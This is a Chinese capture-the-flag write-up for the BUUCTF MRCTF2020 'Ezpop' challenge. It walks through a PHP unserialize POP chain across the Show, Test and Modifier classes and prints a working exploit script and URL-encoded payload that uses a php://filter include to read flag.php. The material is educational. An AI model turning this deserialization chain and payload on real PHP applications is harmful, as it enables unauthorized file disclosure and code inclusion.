BUUCTF [MRCTF2020]Ezpop解题思路

题目代码

php 复制代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

前置知识

php魔术方法:

  • __call() : 在对象中调用一个不可访问方法时, __call() 会被调用
  • __toString: 将对象当作一个字符串输出的时候
  • __wakeup: 反序列化时被调用
  • __invoke: 当一个对象被作为函数调用时被调用
  • __get: 当对象访问一个不存在的属性时调用
  • __construct:创建对象时调用

序列化只会保存对象的属性对应的值

分析

这里找到危险参数 ,发现在 Modifier 对象中

php 复制代码
public function __invoke(){
        $this->append($this->var);
    }

我们顺着这个魔术方法找哪里调用了变量函数

Test对象中

php 复制代码
public function __get($key){
        $function = $this->p;
        return $function();
    }

再顺着这个魔术方法的调用条件找哪里访问了Test对象中没有的变量

php 复制代码
    public function __toString(){
        return $this->str->source;
    }

我们找到了Show对象吗,只要我们将str变量设置为Test对象,那么就能触发这个利用链

再找到输出变量的地方

php 复制代码
$this->source

在Show对象中,如果我们将source设置为Show对象,那么就等于将该对象当作字符串进行访问从而触发 __tostring方法

EXP

php 复制代码
<?php
class Modifier
{
    protected  $var;
    function __construct($var)
    {
        $this->var = $var;
    }
}

class Show
{
    public $source = 0;
    public $str = 0;
    
}

class Test
{
    public $p;
}

$data = "php://filter/read=convert.base64-encode/resource=flag.php";   # 最终这里被include

$m = new Modifier($data);

$t = new Test();
$t->p = $m ;

$s1 = new Show();
$s2 = new Show();

$s2->str = $t;
$s1->source = $s2;

echo urlencode(serialize($s1));

最终我们include("php://filter/read=convert.base64-encode/resource=flag.php")即可读取flag.php文件从而拿到flag

复制代码
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A0%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bi%3A0%3B%7D
相关推荐
oy_mail10 小时前
QoS质量配置
开发语言·智能路由器·php
oyzz12010 小时前
PHP操作redis
开发语言·redis·php
nashane11 小时前
HarmonyOS 6学习:网络能力变化监听与智能提示——告别流量偷跑,打造贴心网络感知应用
开发语言·php·harmony app
niucloud-admin11 小时前
PHP SAAS 框架常见问题——安装插件提示不适配框架版本
php
菩提小狗11 小时前
每日安全情报报告 · 2026-04-21
网络安全·漏洞·cve·安全情报·每日安全
сокол12 小时前
【网安-应急响应-基础记录】Windows入侵排查
windows·web安全·网络安全·系统安全
Bruce_Liuxiaowei12 小时前
Windows防火墙规则导出工具:让安全配置可备份、可迁移、可审计
运维·windows·安全·网络安全
Y学院15 小时前
虚拟机安装ParrotOS完整教程(VMware+VirtualBox双版本)
安全·网络安全
程序猿编码18 小时前
给Linux程序穿“隐身衣”——ELF运行时加密器全解析(C/C++代码实现)
linux·c语言·c++·网络安全·elf·内存安全
一名优秀的码农18 小时前
vulhub系列-74-Hackable III(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析